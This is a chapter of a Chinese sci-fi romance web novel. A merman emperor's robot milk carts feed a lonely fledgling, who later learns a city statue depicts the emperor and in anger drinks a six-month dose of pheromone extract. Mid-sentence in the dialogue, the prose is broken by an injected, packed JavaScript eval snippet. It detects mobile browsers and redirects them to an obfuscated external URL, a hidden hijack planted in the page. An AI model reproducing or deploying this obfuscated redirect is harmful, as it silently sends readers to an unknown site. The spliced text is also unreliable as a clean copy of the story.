他信不过那些人,就自己连接机器人去发牛奶。 奶车驶过每一座城市,滑过每一条小巷,没有人比他更了解自己的国家,他这么干了九十年。 他亲爱的孩子们,为着他们,他可以日以继夜地工作。 人鱼把自己当成精密运作的机器,不过,他的人生中,也出现过bug…… 可爱小bug。 月底核算账目时,总是对不上账,某个固定时间段会多发几份奶。人鱼怀疑程序出了问题,便沉入意识观察。 机器人:“我确信你早上来过三次了,戴着同一条围巾。” 幼鸟:“我只有一条围巾,所以我换了三种不同的系法。” 机器人:“可是我认出你了。” 幼鸟脱下外套顶在头上:“这样还认得出吗?” 机器人:“认不出了,你要多少奶?” 就这样,被一只灰绒团子幼鸟,卡了bug。 人鱼置之一笑,纵容了这种错率。 他喜欢这些小鸟们,奶车放的歌也是他亲自编写。像是街边卖冰淇淋的小车,吸引放学的雀雀,幼鸟们一听到,就会背着书包飞快跑过来,期待地趴在他的窗口,仿佛翘起了尾羽。 那是比往广场上撒面包糠被鸽子群围住,还愉快的滋味。 直到某一天…… 有人发帖义愤填膺,说自己好奇就拆开一架机器人,发现里面有监视程序。紧接着,成群结队的人,整天在街上拦着孩子们,让把领到的牛奶丢掉,口口声声牛奶里放了激素,会让孩子提前发育。 家长们人心惶惶,不敢再让孩子们靠近奶车。 只有bug幼鸟,每天准时去奶站报道。 “什么?可以快快长大?再给我来一碗。”幼鸟一小只干三大碗,还会昂着头问: “你明天还会来吗?” 机器人:“宝贝晚安,不见不散。” 到了每年的感恩节,按照鸟界习俗,没成年的幼鸟会给父母跳求奶舞,表示感激和亲近。 幼鸟很害羞,躲在大树后面偷偷朝他跳。 机器人:“你为什么不过来?” 幼鸟低着小脑袋,不肯过去:“我跳得不标准。” 机器人:“这有什么关系?” 幼鸟抿起嘴唇,一下一下踢着树下的小石子:“……皇帝在监视我们,对吗?我跳得不太好,他看到了会不会介意啊。” 机器人似乎停摆了一秒,忽然换上和以往都不同的低醇音调: “不会,我很喜欢,谢谢宝贝。” 幼鸟一下子抬起头,杏眼里有了光:“感、感恩节快乐!” 结结巴巴说完,一溜烟跑了。 把奶车当成父母,是很令人心疼的事。人鱼调整了程序,让bug小鸟可以无限次喝到牛奶,领到糖果。 每到傍晚,幼鸟都会背着小书包,追着奶车跑。 每停一站,每喝一杯牛奶,机器人都会不厌其烦地说:“宝贝晚安”。 晚安,晚安,宝贝晚安…… 幼鸟反复去听这句话,听好了,他才抹抹眼泪,默默踩着夜色回去。 有时候也会忍不住眨着泪花,转头又跑回去问:“你明天还会来吗?一定要来啊。” 希望你来,希望明天还能见到您。 就是这样的约定,让人鱼枯泽的心又跳动起来。 那时候帝国已然日落西山,财政匮乏,政界联手向皇帝施压要求砍掉每日庞大的牛奶开支。 “根本没有人去奶站喝奶,陛下别执迷不悟,没有人在乎的。” 可是人鱼知道,有一只小鸟在乎,他亲爱的小bug,每天都用纸巾帮他擦干净脏污的车窗,向他确认一遍约定。 ——哪怕只有一只幼鸟在乎,我都会继续做下去。 人鱼如他们所愿,取消这项庞大的财政支出,转而用自己的私人资金,继续坚持了五年。 一天天,一年年。 我与幼鸟,犹如在时代的尾声,相互等待的人。 宝贝晚安,宝贝…… 再见。 · 雪花落在他肩头的铜扣,渐渐聚成一小窝,白翎穿过广场,不由自主在这里放慢脚步。 这是童年的幼鸟,唯一会被喂饱饭的地方。 之后多年,他经常流连于这座广场上,可是再也找不回当年那种幸福的饱腹感…… 白翎不自觉走到广场中央,抬头仰望着左手提灯,右手持剑挥指的巨型雕塑。 奶车经常停在这座雕塑脚下。 有时候,他会嘲讽自己对这些玩意的条件反射。看到雕塑想到奶,看到奶就想起曾经被爱过,巴普洛夫的鸟似的…… “它很美,不是吗?” 一道苍老的声音在身旁响起。 白翎转过身,以他的身高得视线稍微下移,才看到一位头发花白,腰椎佝偻的老人。 老人朝他微笑时,皱纹拥挤在唇边:“很少有年轻人会停下来仔细观望雕塑,他们大多数会匆匆走掉。” 白翎看他衣着朴素却干净,不像是流浪者,再瞥见他手里抱着的募捐箱,顿时了然。 应该是雕像的管理员。 老管理员提议道:“如果你愿意请我喝一杯2星币的热咖啡,我可以给你讲讲这雕塑的故事。” 白翎怔忪了下,正要说什么,老管理员似乎怕他拒绝,又赶紧低声补充: “不是非要喝,哈哈,我只是想找人说说话。” 白翎清浅笑了笑,请他去广场边上的小咖啡馆。老管理员却执意不肯坐下,点了最便宜的咖啡,端着泡沫纸杯,眼眶被北风吹得通红: “我们去雕塑脚下坐,那里有块背风的拐角,也很暖和。” 白翎当然知道那里。 他上辈子在广场流浪时,就在那儿的拐角窝窝搭了个小小的帐篷,在雕塑的钢铁衣袍底下遮风避雨。 白翎曾经猜想过,这种三面围挡的设计是不是有意为之,就像给树梢挂人工鸟巢,给流浪狗出没的地方放纸箱。 “当然,”老管理员兴致高昂地讲着,“设计的时候就有考虑到这一点,路人避雨啊,小动物过冬之类的。别看它现在灰扑扑的,被酸雨侵蚀得看不清脸,以前可是首都星的地标呢。” 不过这座雕塑确实很有来头。 它名为《Motherland》,可以叫它故土,或者祖国母亲,或者用那些经常在雕塑上涂涂画画的街溜子的称呼,叫它“伪神”。 由于是老帝国纪念的献礼,它曾被载入史册。 从建造起,雕塑上一直点着长明灯,即便在大停电时期,它也有单独的供电系统,且只有在这时候,它才会成为整个首都的聚焦。 白翎被勾起了些许回忆,淡淡笑着说: “它确实很大,周围装了许多射灯,在夜里看起来总是亮堂堂的。我小时候总会把它当做灯塔,晚上玩得太晚,回去的时候天黑害怕,但感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859729|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要一路屏住呼吸跑到雕像下面,就安全了。” 但这座雕塑,在他发起革命的第二年,就被暴君炸毁了。 那是白翎第一次切身体会到战争杀死他家人的感觉。 “年轻人,你是首都人?”管理员忽然问。 “也不算,我在这里没有房产。”白翎如实道。 老管理员感叹着:“没有家是吗,我也没有,我打算看着雕塑老死得了……” 他举起泡沫杯,一饮而尽,随即捏碎了杯子扔到满溢的垃圾堆上,脸上有些坚毅,又仿佛喝醉似的酡红,说道: “为感谢你的咖啡,我想告诉你一个小秘密,关于这雕塑的原型是谁。” 白翎心头莫名一颤,心跳突然开始加快,“是谁?” 老管理员背着风,粗糙的手指拢到嘴边,放低声音:“是老皇帝,知道么?伊苏帕莱索……我年轻时候见过他一面,惊为天人啊,跪在地上的时候就只抬头看了一眼,五十年了,这辈子到老都忘不掉。” “后来我疯疯癫癫了一整年,人家都传是老皇帝太丑,我被吓着了。” “其实啊,我是因为陛下的气势和美——” 白翎忽然颤着声说:“请别再说了!” 他的睫毛微微颤动,牙尖死死咬住下唇,咬得失血苍白:“……不好意思,我还有事要处理,先走了。” 管理员惊讶地望着白翎远去。 白翎把下半张脸埋进衣领里,甚至不敢回头望一眼雕塑的侧脸。 因为…… 那实在是太过熟悉的轮廓。 熟悉到他根本没有意识到,自己一直以来的依恋,眷念,热望,都从此而来,又回归而去。 提灯的雕塑。 提灯的人鱼。 从初见的熟悉感,再到分化夜的失态,还有他对那人仿佛沉淀多年的依赖感……全都是从他儿时绵延至今的投射。 原来,旧时代的光阴从未逝去,一直行走在他身边。 白翎垂在身侧的手指攥紧,像是胸口破了大洞,抬起满是血丝的眼睛,声嘶力竭大喊: “——伊苏帕莱索!” · “您的alpha超浓醇信息素已经提取完毕了。按照您的要求,做足了半年的量,超浓缩倍率,只要一滴就够缓解一个星期的omega成瘾反应。” AI一边展示给主人展示自己优秀的提纯技术,一边暗戳戳咋舌。 主人不愧是主人,和仿真小鸟玩游戏,道具都准备这么齐全。 ——沉浸式养鸟。 为此,AI也相应准备了一份高逼真使用说明书,翻开读道: “需要提起注意的是,该浓缩液一定,禁止,坚决不可以和人工A性素混用,否则就会,噗噜噜噜噜噜——产生一整包曼妥思扔进可乐里的喷发效果哦。” 正巧,机械小鸟本人也上门了。 AI高兴地去开门,却摄像头一花,对方第一次没有和它打招呼,而是眼眶血红气息激烈地越过它大步闯进去。 AI自带的警报器哔哔作响,赶紧滑着小短轮跟上去。 机械小鸟人长得高挑,腿也很长,AI根本追不上。只能看见机械鸟一把猛得推开浴池沉重的大门,站在门边,整个人脊背绷得笔直,胸膛剧烈起伏,不断压抑地喘着粗气。 仿佛拉紧了一根弦,随时会崩溃。 郁沉闻到他身上似有若无的酸涩信息素,转过淡寡如水的眼眸,“你来得正好,应对你成瘾的提取液已经准备好了,是足够你用半年的量。” AI适时把满满当当的透明试管递上去。 “半年的量……”白翎在激喘间溢出一丝嘶哑,像是质问,更像在颤声冷笑:“……打发流浪狗走之前得把饭盆装满,是吧?” 郁沉敏锐察觉到他情绪反常,正要询问—— 白翎一把夺过试管,当着郁沉的面,昂头一口全竖了,一滴不剩。 接着,他抬头对郁沉磨牙冷笑,拿了一颗人工A性素塞进颤抖的牙间。 AI直接傻了:“……他都喝了!!一口闷啊!还吃A性素!” 郁沉震惊失色,瞬间从池子里站起来,根本没料到他的小鸟能这么疯! 给提取液是为了戒断。 小鸟反向操作,直接十倍加重成瘾。 白翎脖颈突起淡青色的脉络,下颌线条绷得要断了似的,他把玻璃管狠狠摔到地上,义肢踏上去碾得粉碎! 他被愤怒与悲怆逼得浑身发抖,声音却冷酷到可怕:“我不会放过你的,今晚你也别放过我,看看明早谁能走出这道门!” 说完,白翎一脚踹锁了门。 我与我毁灭的故国…… 今晚要在这里拼个你死我活!